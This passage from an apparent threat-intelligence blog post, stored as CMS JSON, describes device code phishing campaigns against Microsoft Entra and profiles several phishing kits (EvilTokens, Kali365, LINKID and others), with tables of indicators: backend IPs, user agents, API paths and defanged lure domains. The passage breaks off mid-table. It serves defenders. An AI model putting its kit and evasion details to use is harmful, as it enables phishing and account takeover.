",{"data":29570,"content":29572,"nodeType":882},{"uri":29571},"https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/",[29573],{"data":29574,"marks":29575,"value":29577,"nodeType":865},{},[29576],{"type":997},"key research",{"data":29579,"marks":29580,"value":29581,"nodeType":865},{},[]," (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s ",{"data":29583,"content":29585,"nodeType":882},{"uri":29584},"https://github.com/denniskniep/DeviceCodePhishing",[29586],{"data":29587,"marks":29588,"value":29590,"nodeType":865},{},[29589],{"type":997},"DeviceCodePhishing tool",{"data":29592,"marks":29593,"value":29594,"nodeType":865},{},[]," which automates the entire flow with a headless browser. (Other recent noteworthy tools include ",{"data":29596,"content":29598,"nodeType":882},{"uri":29597},"https://github.com/nromsdahl/squarephish2",[29599],{"data":29600,"marks":29601,"value":29603,"nodeType":865},{},[29602],{"type":997},"SquarePhish2",{"data":29605,"marks":29606,"value":8756,"nodeType":865},{},[],{"data":29608,"content":29610,"nodeType":882},{"uri":29609},"https://github.com/praetorian-inc/GitPhish",[29611],{"data":29612,"marks":29613,"value":29615,"nodeType":865},{},[29614],{"type":997},"GitPhish",{"data":29617,"marks":29618,"value":29619,"nodeType":865},{},[],", so shout out to those too). ",{"data":29621,"content":29622,"nodeType":866},{},[29623,29627,29636],{"data":29624,"marks":29625,"value":29626,"nodeType":865},{},[],"It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with ",{"data":29628,"content":29630,"nodeType":882},{"uri":29629},"https://thehackernews.com/2026/03/device-code-phishing-hits-340-microsoft.html",[29631],{"data":29632,"marks":29633,"value":29635,"nodeType":865},{},[29634],{"type":997},"EvilTokens",{"data":29637,"marks":29638,"value":29639,"nodeType":865},{},[],", the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. ",{"data":29641,"content":29645,"nodeType":925},{"target":29642},{"sys":29643},{"id":29644,"type":922,"linkType":923},"6xsfmbYEzpW7CdDiNzO6cu",[],{"data":29647,"content":29648,"nodeType":866},{},[29649],{"data":29650,"marks":29651,"value":29652,"nodeType":865},{},[],"Some of the noteworthy in-the-wild campaigns include:",{"data":29654,"content":29655,"nodeType":1049},{},[29656,29689,29709],{"data":29657,"content":29658,"nodeType":1003},{},[29659],{"data":29660,"content":29661,"nodeType":866},{},[29662,29666,29674,29677,29685],{"data":29663,"marks":29664,"value":29665,"nodeType":865},{},[],"Storm-2372, tracked by ",{"data":29667,"content":29669,"nodeType":882},{"uri":29668},"https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/",[29670],{"data":29671,"marks":29672,"value":29673,"nodeType":865},{},[],"Microsoft",{"data":29675,"marks":29676,"value":8756,"nodeType":865},{},[],{"data":29678,"content":29680,"nodeType":882},{"uri":29679},"https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/",[29681],{"data":29682,"marks":29683,"value":29684,"nodeType":865},{},[],"Volexity",{"data":29686,"marks":29687,"value":29688,"nodeType":865},{},[],", linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.",{"data":29690,"content":29691,"nodeType":1003},{},[29692],{"data":29693,"content":29694,"nodeType":866},{},[29695,29699,29705],{"data":29696,"marks":29697,"value":29698,"nodeType":865},{},[],"The massive Salesforce campaign operated by ",{"data":29700,"content":29701,"nodeType":882},{"uri":8759},[29702],{"data":29703,"marks":29704,"value":19437,"nodeType":865},{},[],{"data":29706,"marks":29707,"value":29708,"nodeType":865},{},[]," (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. ",{"data":29710,"content":29711,"nodeType":1003},{},[29712],{"data":29713,"content":29714,"nodeType":866},{},[29715,29719,29727,29731,29740,29743,29752,29756,29764],{"data":29716,"marks":29717,"value":29718,"nodeType":865},{},[],"A massive spike in activity in late 2025 and 2026. This includes ",{"data":29720,"content":29722,"nodeType":882},{"uri":29721},"https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover",[29723],{"data":29724,"marks":29725,"value":29726,"nodeType":865},{},[],"multiple threat clusters",{"data":29728,"marks":29729,"value":29730,"nodeType":865},{},[]," tracked using device code phishing techniques, more ",{"data":29732,"content":29734,"nodeType":882},{"uri":29733},"https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/",[29735],{"data":29736,"marks":29737,"value":29739,"nodeType":865},{},[29738],{"type":997},"criminal operations linked to SLH",{"data":29741,"marks":29742,"value":3892,"nodeType":865},{},[],{"data":29744,"content":29746,"nodeType":882},{"uri":29745},"https://newtonpaul.com/blog/device-code-phish-update/",[29747],{"data":29748,"marks":29749,"value":29751,"nodeType":865},{},[29750],{"type":997},"hundreds of organizations being targeted via PhaaS architecture,",{"data":29753,"marks":29754,"value":29755,"nodeType":865},{},[]," which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by ",{"data":29757,"content":29758,"nodeType":882},{"uri":3087},[29759],{"data":29760,"marks":29761,"value":29763,"nodeType":865},{},[29762],{"type":997},"Huntress",{"data":29765,"marks":29766,"value":29767,"nodeType":865},{},[]," (featuring abuse of the Railway PaaS platform). ",{"data":29769,"content":29773,"nodeType":925},{"target":29770},{"sys":29771},{"id":29772,"type":922,"linkType":923},"3WLt6qLCK8CSwr0QZxZiMv",[],{"data":29775,"content":29776,"nodeType":953},{},[],{"data":29778,"content":29779,"nodeType":963},{},[29780],{"data":29781,"marks":29782,"value":29784,"nodeType":865},{},[29783],{"type":961},"What we’re seeing in the wild",{"data":29786,"content":29787,"nodeType":866},{},[29788],{"data":29789,"marks":29790,"value":29791,"nodeType":865},{},[],"As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. ",{"data":29793,"content":29797,"nodeType":925},{"target":29794},{"sys":29795},{"id":29796,"type":922,"linkType":923},"nJCbTw85GKXdqrlIkzZwi",[],{"data":29799,"content":29800,"nodeType":953},{},[],{"data":29802,"content":29803,"nodeType":1458},{},[29804],{"data":29805,"marks":29806,"value":29808,"nodeType":865},{},[29807],{"type":961},"“ANTIBOT” (EvilTokens)",{"data":29810,"content":29811,"nodeType":866},{},[29812,29815,29822,29825,29834,29838,29846],{"data":29813,"marks":29814,"value":21,"nodeType":865},{},[],{"data":29816,"content":29817,"nodeType":882},{"uri":3087},[29818],{"data":29819,"marks":29820,"value":29763,"nodeType":865},{},[29821],{"type":997},{"data":29823,"marks":29824,"value":2186,"nodeType":865},{},[],{"data":29826,"content":29828,"nodeType":882},{"uri":29827},"https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/",[29829],{"data":29830,"marks":29831,"value":29833,"nodeType":865},{},[29832],{"type":997},"Sekoia",{"data":29835,"marks":29836,"value":29837,"nodeType":865},{},[],", and researcher ",{"data":29839,"content":29840,"nodeType":882},{"uri":29745},[29841],{"data":29842,"marks":29843,"value":29845,"nodeType":865},{},[29844],{"type":997},"Paul Newton",{"data":29847,"marks":29848,"value":29849,"nodeType":865},{},[]," have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. ",{"data":29851,"content":29855,"nodeType":925},{"target":29852},{"sys":29853},{"id":29854,"type":922,"linkType":923},"1XNviq5OvMf5TEAc59F6g5",[],{"data":29857,"content":29858,"nodeType":866},{},[29859],{"data":29860,"marks":29861,"value":29862,"nodeType":865},{},[],"Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). ",{"data":29864,"content":29865,"nodeType":866},{},[29866],{"data":29867,"marks":29868,"value":29869,"nodeType":865},{},[],"You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. ",{"data":29871,"content":29872,"nodeType":866},{},[29873],{"data":29874,"marks":29875,"value":29876,"nodeType":865},{},[],"Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. ",{"data":29878,"content":29879,"nodeType":866},{},[29880],{"data":29881,"marks":29882,"value":29883,"nodeType":865},{},[],"After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. ",{"data":29885,"content":29886,"nodeType":866},{},[29887,29891,29899],{"data":29888,"marks":29889,"value":29890,"nodeType":865},{},[],"The production version of EvilTokens showcases common ",{"data":29892,"content":29893,"nodeType":882},{"uri":13634},[29894],{"data":29895,"marks":29896,"value":29898,"nodeType":865},{},[29897],{"type":997},"detection evasion techniques",{"data":29900,"marks":29901,"value":29902,"nodeType":865},{},[]," we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).",{"data":29904,"content":29908,"nodeType":925},{"target":29905},{"sys":29906},{"id":29907,"type":922,"linkType":923},"73rNOIEDPfP5IJwpFaxVc2",[],{"data":29910,"content":29914,"nodeType":925},{"target":29911},{"sys":29912},{"id":29913,"type":922,"linkType":923},"5BJSvOQUW9UpsQtoDNtgTC",[],{"data":29916,"content":29920,"nodeType":925},{"target":29917},{"sys":29918},{"id":29919,"type":922,"linkType":923},"3dbePPxVb4h4SauGg3glIL",[],{"data":29922,"content":29926,"nodeType":925},{"target":29923},{"sys":29924},{"id":29925,"type":922,"linkType":923},"1UOLcmNQvOsL5tdLSVuviq",[],{"data":29928,"content":29932,"nodeType":925},{"target":29929},{"sys":29930},{"id":29931,"type":922,"linkType":923},"55XRqLSwUUi2D4ZVpJboml",[],{"data":29934,"content":29938,"nodeType":925},{"target":29935},{"sys":29936},{"id":29937,"type":922,"linkType":923},"5wg5yr2Lo8t3f72ZV815c",[],{"data":29940,"content":29944,"nodeType":925},{"target":29941},{"sys":29942},{"id":29943,"type":922,"linkType":923},"35cowlL6i3rkGXOGmSxlI1",[],{"data":29946,"content":29947,"nodeType":866},{},[29948],{"data":29949,"marks":29950,"value":21,"nodeType":865},{},[],{"data":29952,"content":29953,"nodeType":2396},{},[29954,29978,30061,30113,30137],{"data":29955,"content":29956,"nodeType":1869},{},[29957,29968],{"data":29958,"content":29959,"nodeType":1835},{},[29960],{"data":29961,"content":29962,"nodeType":866},{},[29963],{"data":29964,"marks":29965,"value":29967,"nodeType":865},{},[29966],{"type":961},"Frontend infrastructure",{"data":29969,"content":29970,"nodeType":1835},{},[29971],{"data":29972,"content":29973,"nodeType":866},{},[29974],{"data":29975,"marks":29976,"value":29977,"nodeType":865},{},[],"Workers.dev, vercel.app, github.io, fastly.net, edgeone.dev",{"data":29979,"content":29980,"nodeType":1869},{},[29981,29992],{"data":29982,"content":29983,"nodeType":1835},{},[29984],{"data":29985,"content":29986,"nodeType":866},{},[29987],{"data":29988,"marks":29989,"value":29991,"nodeType":865},{},[29990],{"type":961},"Backend infrastructure",{"data":29993,"content":29994,"nodeType":1835},{},[29995,30025],{"data":29996,"content":29997,"nodeType":866},{},[29998,30003,30007,30012,30016,30021],{"data":29999,"marks":30000,"value":30002,"nodeType":865},{},[30001],{"type":961},"Example IP: (V3) ",{"data":30004,"marks":30005,"value":30006,"nodeType":865},{},[],"162.220.232.71 (Railway AS400940) ",{"data":30008,"marks":30009,"value":30011,"nodeType":865},{},[30010],{"type":961},"(V2)",{"data":30013,"marks":30014,"value":30015,"nodeType":865},{},[]," 71.11.42.193 ",{"data":30017,"marks":30018,"value":30020,"nodeType":865},{},[30019],{"type":961},"(V1) ",{"data":30022,"marks":30023,"value":30024,"nodeType":865},{},[],"72.218.25.107",{"data":30026,"content":30027,"nodeType":866},{},[30028,30033,30036,30041,30045,30049,30053,30057],{"data":30029,"marks":30030,"value":30032,"nodeType":865},{},[30031],{"type":961},"Backend User Agent:",{"data":30034,"marks":30035,"value":2157,"nodeType":865},{},[],{"data":30037,"marks":30038,"value":30040,"nodeType":865},{},[30039],{"type":961},"(V3) ",{"data":30042,"marks":30043,"value":30044,"nodeType":865},{},[],"node, ",{"data":30046,"marks":30047,"value":30011,"nodeType":865},{},[30048],{"type":961},{"data":30050,"marks":30051,"value":30052,"nodeType":865},{},[],", Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683 Safari/537.36 OPR/57.0.3098.91 ",{"data":30054,"marks":30055,"value":30020,"nodeType":865},{},[30056],{"type":961},{"data":30058,"marks":30059,"value":30060,"nodeType":865},{},[],"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/56.0.3051.52 ",{"data":30062,"content":30063,"nodeType":1869},{},[30064,30075],{"data":30065,"content":30066,"nodeType":1835},{},[30067],{"data":30068,"content":30069,"nodeType":866},{},[30070],{"data":30071,"marks":30072,"value":30074,"nodeType":865},{},[30073],{"type":961},"Network paths",{"data":30076,"content":30077,"nodeType":1835},{},[30078,30085,30092,30099,30106],{"data":30079,"content":30080,"nodeType":866},{},[30081],{"data":30082,"marks":30083,"value":30084,"nodeType":865},{},[],"/api/rate-limit ",{"data":30086,"content":30087,"nodeType":866},{},[30088],{"data":30089,"marks":30090,"value":30091,"nodeType":865},{},[],"/api/fingerprint ",{"data":30093,"content":30094,"nodeType":866},{},[30095],{"data":30096,"marks":30097,"value":30098,"nodeType":865},{},[],"/api/captcha-verify ",{"data":30100,"content":30101,"nodeType":866},{},[30102],{"data":30103,"marks":30104,"value":30105,"nodeType":865},{},[],"/api/init /api/generate-code ",{"data":30107,"content":30108,"nodeType":866},{},[30109],{"data":30110,"marks":30111,"value":30112,"nodeType":865},{},[],"/api/check-auth",{"data":30114,"content":30115,"nodeType":1869},{},[30116,30127],{"data":30117,"content":30118,"nodeType":1835},{},[30119],{"data":30120,"content":30121,"nodeType":866},{},[30122],{"data":30123,"marks":30124,"value":30126,"nodeType":865},{},[30125],{"type":961},"Lure themes",{"data":30128,"content":30129,"nodeType":1835},{},[30130],{"data":30131,"content":30132,"nodeType":866},{},[30133],{"data":30134,"marks":30135,"value":30136,"nodeType":865},{},[],"Various MS lures (e.g. Outlook, SharePoint, Teams) DocuSign, Adobe",{"data":30138,"content":30139,"nodeType":1869},{},[30140,30151],{"data":30141,"content":30142,"nodeType":1835},{},[30143],{"data":30144,"content":30145,"nodeType":866},{},[30146],{"data":30147,"marks":30148,"value":30150,"nodeType":865},{},[30149],{"type":961},"Example Domain",{"data":30152,"content":30153,"nodeType":1835},{},[30154,30166,30178,30190,30202],{"data":30155,"content":30156,"nodeType":866},{},[30157,30162],{"data":30158,"marks":30159,"value":30161,"nodeType":865},{},[30160],{"type":961},"Precursor A:",{"data":30163,"marks":30164,"value":30165,"nodeType":865},{},[]," teams-zpfvwnpxuc[.]edgeone.dev",{"data":30167,"content":30168,"nodeType":866},{},[30169,30174],{"data":30170,"marks":30171,"value":30173,"nodeType":865},{},[30172],{"type":961},"Precursor B: ",{"data":30175,"marks":30176,"value":30177,"nodeType":865},{},[],"authenticate-m365-accountsecurity-m-pi[.]vercel.app",{"data":30179,"content":30180,"nodeType":866},{},[30181,30186],{"data":30182,"marks":30183,"value":30185,"nodeType":865},{},[30184],{"type":961},"Courts Access: ",{"data":30187,"marks":30188,"value":30189,"nodeType":865},{},[],"secure-systems-validations-courts[.]vercel.app",{"data":30191,"content":30192,"nodeType":866},{},[30193,30198],{"data":30194,"marks":30195,"value":30197,"nodeType":865},{},[30196],{"type":961},"Early ANTIBOT:",{"data":30199,"marks":30200,"value":30201,"nodeType":865},{},[]," interface-auth-en-useast[.]global.ssl.fastly.net",{"data":30203,"content":30204,"nodeType":866},{},[30205,30210],{"data":30206,"marks":30207,"value":30209,"nodeType":865},{},[30208],{"type":961},"Production ANTIBOT: ",{"data":30211,"marks":30212,"value":30213,"nodeType":865},{},[],"index-z059-document-pending-reviewsign-xlss7994824[.]awalizer[.]workers.dev",{"data":30215,"content":30216,"nodeType":953},{},[],{"data":30218,"content":30219,"nodeType":1458},{},[30220],{"data":30221,"marks":30222,"value":30224,"nodeType":865},{},[30223],{"type":961},"“SHAREFILE”",{"data":30226,"content":30227,"nodeType":2396},{},[30228,30251,30290,30313,30336],{"data":30229,"content":30230,"nodeType":1869},{},[30231,30241],{"data":30232,"content":30233,"nodeType":1835},{},[30234],{"data":30235,"content":30236,"nodeType":866},{},[30237],{"data":30238,"marks":30239,"value":29967,"nodeType":865},{},[30240],{"type":961},{"data":30242,"content":30243,"nodeType":1835},{},[30244],{"data":30245,"content":30246,"nodeType":866},{},[30247],{"data":30248,"marks":30249,"value":30250,"nodeType":865},{},[],"No hosting markers visible.",{"data":30252,"content":30253,"nodeType":1869},{},[30254,30264],{"data":30255,"content":30256,"nodeType":1835},{},[30257],{"data":30258,"content":30259,"nodeType":866},{},[30260],{"data":30261,"marks":30262,"value":29991,"nodeType":865},{},[30263],{"type":961},{"data":30265,"content":30266,"nodeType":1835},{},[30267,30279],{"data":30268,"content":30269,"nodeType":866},{},[30270,30275],{"data":30271,"marks":30272,"value":30274,"nodeType":865},{},[30273],{"type":961},"Example IP:",{"data":30276,"marks":30277,"value":30278,"nodeType":865},{},[]," 147.45.60.47 (Global Connectivity Solutions LLP AS215540)",{"data":30280,"content":30281,"nodeType":866},{},[30282,30286],{"data":30283,"marks":30284,"value":30032,"nodeType":865},{},[30285],{"type":961},{"data":30287,"marks":30288,"value":30289,"nodeType":865},{},[]," node",{"data":30291,"content":30292,"nodeType":1869},{},[30293,30303],{"data":30294,"content":30295,"nodeType":1835},{},[30296],{"data":30297,"content":30298,"nodeType":866},{},[30299],{"data":30300,"marks":30301,"value":30074,"nodeType":865},{},[30302],{"type":961},{"data":30304,"content":30305,"nodeType":1835},{},[30306],{"data":30307,"content":30308,"nodeType":866},{},[30309],{"data":30310,"marks":30311,"value":30312,"nodeType":865},{},[],"POST /api/device/start  POST /api/device/poll",{"data":30314,"content":30315,"nodeType":1869},{},[30316,30326],{"data":30317,"content":30318,"nodeType":1835},{},[30319],{"data":30320,"content":30321,"nodeType":866},{},[30322],{"data":30323,"marks":30324,"value":30126,"nodeType":865},{},[30325],{"type":961},{"data":30327,"content":30328,"nodeType":1835},{},[30329],{"data":30330,"content":30331,"nodeType":866},{},[30332],{"data":30333,"marks":30334,"value":30335,"nodeType":865},{},[],"Citrix ShareFile document transfer — file card with sender info, expiry warning, download/preview buttons",{"data":30337,"content":30338,"nodeType":1869},{},[30339,30350],{"data":30340,"content":30341,"nodeType":1835},{},[30342],{"data":30343,"content":30344,"nodeType":866},{},[30345],{"data":30346,"marks":30347,"value":30349,"nodeType":865},{},[30348],{"type":961},"Example domain",{"data":30351,"content":30352,"nodeType":1835},{},[30353],{"data":30354,"content":30355,"nodeType":866},{},[30356],{"data":30357,"marks":30358,"value":30359,"nodeType":865},{},[],"cghdfg[.]vbchkioi[.]su",{"data":30361,"content":30365,"nodeType":925},{"target":30362},{"sys":30363},{"id":30364,"type":922,"linkType":923},"1TtZ6VsMSTlPvy7W996w9E",[],{"data":30367,"content":30368,"nodeType":953},{},[],{"data":30370,"content":30371,"nodeType":1458},{},[30372],{"data":30373,"marks":30374,"value":30376,"nodeType":865},{},[30375],{"type":961},"Kali365 (internal name “CLURE”)",{"data":30378,"content":30379,"nodeType":866},{},[30380,30384,30389,30393,30401,30405,30413],{"data":30381,"marks":30382,"value":30383,"nodeType":865},{},[],"Clure was recently linked to the ",{"data":30385,"marks":30386,"value":30388,"nodeType":865},{},[30387],{"type":961},"Kali365",{"data":30390,"marks":30391,"value":30392,"nodeType":865},{},[]," PhaaS platform based on an ",{"data":30394,"content":30396,"nodeType":882},{"uri":30395},"https://www.ic3.gov/PSA/2026/PSA260521",[30397],{"data":30398,"marks":30399,"value":30400,"nodeType":865},{},[],"FBI advisory",{"data":30402,"marks":30403,"value":30404,"nodeType":865},{},[]," and additional research from ",{"data":30406,"content":30408,"nodeType":882},{"uri":30407},"https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/",[30409],{"data":30410,"marks":30411,"value":30412,"nodeType":865},{},[],"Arctic Wolf",{"data":30414,"marks":30415,"value":30416,"nodeType":865},{},[],". This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms. ",{"data":30418,"content":30419,"nodeType":2396},{},[30420,30443,30482,30505,30528],{"data":30421,"content":30422,"nodeType":1869},{},[30423,30433],{"data":30424,"content":30425,"nodeType":1835},{},[30426],{"data":30427,"content":30428,"nodeType":866},{},[30429],{"data":30430,"marks":30431,"value":29967,"nodeType":865},{},[30432],{"type":961},{"data":30434,"content":30435,"nodeType":1835},{},[30436],{"data":30437,"content":30438,"nodeType":866},{},[30439],{"data":30440,"marks":30441,"value":30442,"nodeType":865},{},[],"API on api.duemineral.uk:8443 and api.loadingdocuments.uk:8443 (rotates). ",{"data":30444,"content":30445,"nodeType":1869},{},[30446,30456],{"data":30447,"content":30448,"nodeType":1835},{},[30449],{"data":30450,"content":30451,"nodeType":866},{},[30452],{"data":30453,"marks":30454,"value":29991,"nodeType":865},{},[30455],{"type":961},{"data":30457,"content":30458,"nodeType":1835},{},[30459,30471],{"data":30460,"content":30461,"nodeType":866},{},[30462,30467],{"data":30463,"marks":30464,"value":30466,"nodeType":865},{},[30465],{"type":961},"Example IP: ",{"data":30468,"marks":30469,"value":30470,"nodeType":865},{},[],"162.243.166.119 (DigitalOcean AS14061)",{"data":30472,"content":30473,"nodeType":866},{},[30474,30478],{"data":30475,"marks":30476,"value":30032,"nodeType":865},{},[30477],{"type":961},{"data":30479,"marks":30480,"value":30481,"nodeType":865},{},[]," python-requests/2.32.5",{"data":30483,"content":30484,"nodeType":1869},{},[30485,30495],{"data":30486,"content":30487,"nodeType":1835},{},[30488],{"data":30489,"content":30490,"nodeType":866},{},[30491],{"data":30492,"marks":30493,"value":30074,"nodeType":865},{},[30494],{"type":961},{"data":30496,"content":30497,"nodeType":1835},{},[30498],{"data":30499,"content":30500,"nodeType":866},{},[30501],{"data":30502,"marks":30503,"value":30504,"nodeType":865},{},[],"GET /api/status/{numeric_SID} (port :8443)",{"data":30506,"content":30507,"nodeType":1869},{},[30508,30518],{"data":30509,"content":30510,"nodeType":1835},{},[30511],{"data":30512,"content":30513,"nodeType":866},{},[30514],{"data":30515,"marks":30516,"value":30126,"nodeType":865},{},[30517],{"type":961},{"data":30519,"content":30520,"nodeType":1835},{},[30521],{"data":30522,"content":30523,"nodeType":866},{},[30524],{"data":30525,"marks":30526,"value":30527,"nodeType":865},{},[],"SharePoint \"Team Site\" doc library, SharePoint \"Shared Document\" individual share",{"data":30529,"content":30530,"nodeType":1869},{},[30531,30541],{"data":30532,"content":30533,"nodeType":1835},{},[30534],{"data":30535,"content":30536,"nodeType":866},{},[30537],{"data":30538,"marks":30539,"value":30349,"nodeType":865},{},[30540],{"type":961},{"data":30542,"content":30543,"nodeType":1835},{},[30544],{"data":30545,"content":30546,"nodeType":866},{},[30547],{"data":30548,"marks":30549,"value":30550,"nodeType":865},{},[],"auth[.]duemineral[.]uk",{"data":30552,"content":30556,"nodeType":925},{"target":30553},{"sys":30554},{"id":30555,"type":922,"linkType":923},"Y1AiT3dJRTXz64pb68kca",[],{"data":30558,"content":30559,"nodeType":953},{},[],{"data":30561,"content":30562,"nodeType":1458},{},[30563],{"data":30564,"marks":30565,"value":30567,"nodeType":865},{},[30566],{"type":961},"“LINKID”",{"data":30569,"content":30570,"nodeType":2396},{},[30571,30594,30639,30669,30692],{"data":30572,"content":30573,"nodeType":1869},{},[30574,30584],{"data":30575,"content":30576,"nodeType":1835},{},[30577],{"data":30578,"content":30579,"nodeType":866},{},[30580],{"data":30581,"marks":30582,"value":29967,"nodeType":865},{},[30583],{"type":961},{"data":30585,"content":30586,"nodeType":1835},{},[30587],{"data":30588,"content":30589,"nodeType":866},{},[30590],{"data":30591,"marks":30592,"value":30593,"nodeType":865},{},[],"Adobe variant has Cloudflare challenge-platform iframe (CF-protected origin). Relative API paths — self-hosted.",{"data":30595,"content":30596,"nodeType":1869},{},[30597,30607],{"data":30598,"content":30599,"nodeType":1835},{},[30600],{"data":30601,"content":30602,"nodeType":866},{},[30603],{"data":30604,"marks":30605,"value":29991,"nodeType":865},{},[30606],{"type":961},{"data":30608,"content":30609,"nodeType":1835},{},[30610,30621,30628],{"data":30611,"content":30612,"nodeType":866},{},[30613,30617],{"data":30614,"marks":30615,"value":30466,"nodeType":865},{},[30616],{"type":961},{"data":30618,"marks":30619,"value":30620,"nodeType":865},{},[],"185.176.220.22 (2cloud.eu AS39845)",{"data":30622,"content":30623,"nodeType":866},{},[30624],{"data":30625,"marks":30626,"value":30627,"nodeType":865},{},[],"2600:1f10:470d:9a00:1437:ec30:be61:3494 (AWS AS16509)",{"data":30629,"content":30630,"nodeType":866},{},[30631,30635],{"data":30632,"marks":30633,"value":30032,"nodeType":865},{},[30634],{"type":961},{"data":30636,"marks":30637,"value":30638,"nodeType":865},{},[]," axios/1.10.0 , axios/1.13.6",{"data":30640,"content":30641,"nodeType":1869},{},[30642,30652],{"data":30643,"content":30644,"nodeType":1835},{},[30645],{"data":30646,"content":30647,"nodeType":866},{},[30648],{"data":30649,"marks":30650,"value":30074,"nodeType":865},{},[30651],{"type":961},{"data":30653,"content":30654,"nodeType":1835},{},[30655,30662],{"data":30656,"content":30657,"nodeType":866},{},[30658],{"data":30659,"marks":30660,"value":30661,"nodeType":865},{},[],"POST /api/device/start",{"data":30663,"content":30664,"nodeType":866},{},[30665],{"data":30666,"marks":30667,"value":30668,"nodeType":865},{},[],"GET /api/device/status/{sessionId}",{"data":30670,"content":30671,"nodeType":1869},{},[30672,30682],{"data":30673,"content":30674,"nodeType":1835},{},[30675],{"data":30676,"content":30677,"nodeType":866},{},[30678],{"data":30679,"marks":30680,"value":30126,"nodeType":865},{},[30681],{"type":961},{"data":30683,"content":30684,"nodeType":1835},{},[30685],{"data":30686,"content":30687,"nodeType":866},{},[30688],{"data":30689,"marks":30690,"value":30691,"nodeType":865},{},[],"MS Teams meeting invitation (with interactive date/time picker), Adobe Acrobat Sign document review",{"data":30693,"content":30694,"nodeType":1869},{},[30695,30705],{"data":30696,"content":30697,"nodeType":1835},{},[30698],{"data":30699,"content":30700,"nodeType":866},{},[30701],{"data":30702,"marks":30703,"value":30349,"nodeType":865},{},[30704],{"type":961},{"data":30706,"content":30707,"nodeType":1835},{},[30708],{"data":30709,"content":30710,"nodeType":866},{},[30711],{"data":30712,"marks":30713,"value":30714,"nodeType":865},{},[],"sdtr-site[.]cfd",{"data":30716,"content":30720,"nodeType":925},{"target":30717},{"sys":30718},{"id":30719,"type":922,"linkType":923},"22hsIzlkptC2JTIUtbOuUn",[],{"data":30722,"content":30723,"nodeType":953},{},[],{"data":30725,"content":30726,"nodeType":1458},{},[30727],{"data":30728,"marks":30729,"value":30731,"nodeType":865},{},[30730],{"type":961},"Device Code Lab (formerly codename \"AUTHOV”)",{"data":30733,"content":30737,"nodeType":925},{"target":30734},{"sys":30735},{"id":30736,"type":922,"linkType":923},"5vllVaa0Ry0wKs46ssrZLC",[],{"data":30739,"content":30740,"nodeType":2396},{},[30741,30764,30809,30832,30855],{"data":30742,"content":30743,"nodeType":1869},{},[30744,30754],{"data":30745,"content":30746,"nodeType":1835},{},[30747],{"data":30748,"content":30749,"nodeType":866},{},[30750],{"data":30751,"marks":30752,"value":29967,"nodeType":865},{},[30753],{"type":961},{"data":30755,"content":30756,"nodeType":1835},{},[30757],{"data":30758,"content":30759,"nodeType":866},{},[30760],{"data":30761,"marks":30762,"value":30763,"nodeType":865},{},[],"workers.dev",{"data":30765,"content":30766,"nodeType":1869},{},[30767,30777],{"data":30768,"content":30769,"nodeType":1835},{},[30770],{"data":30771,"content":30772,"nodeType":866},{},[30773],{"data":30774,"marks":30775,"value":29991,"nodeType":865},{},[30776],{"type":961},{"data":30778,"content":30779,"nodeType":1835},{},[30780,30791],{"data":30781,"content":30782,"nodeType":866},{},[30783,30787],{"data":30784,"marks":30785,"value":30466,"nodeType":865},{},[30786],{"type":961},{"data":30788,"marks":30789,"value":30790,"nodeType":865},{},[],"192.3.225.100 (HostPapa / ColoCrossing 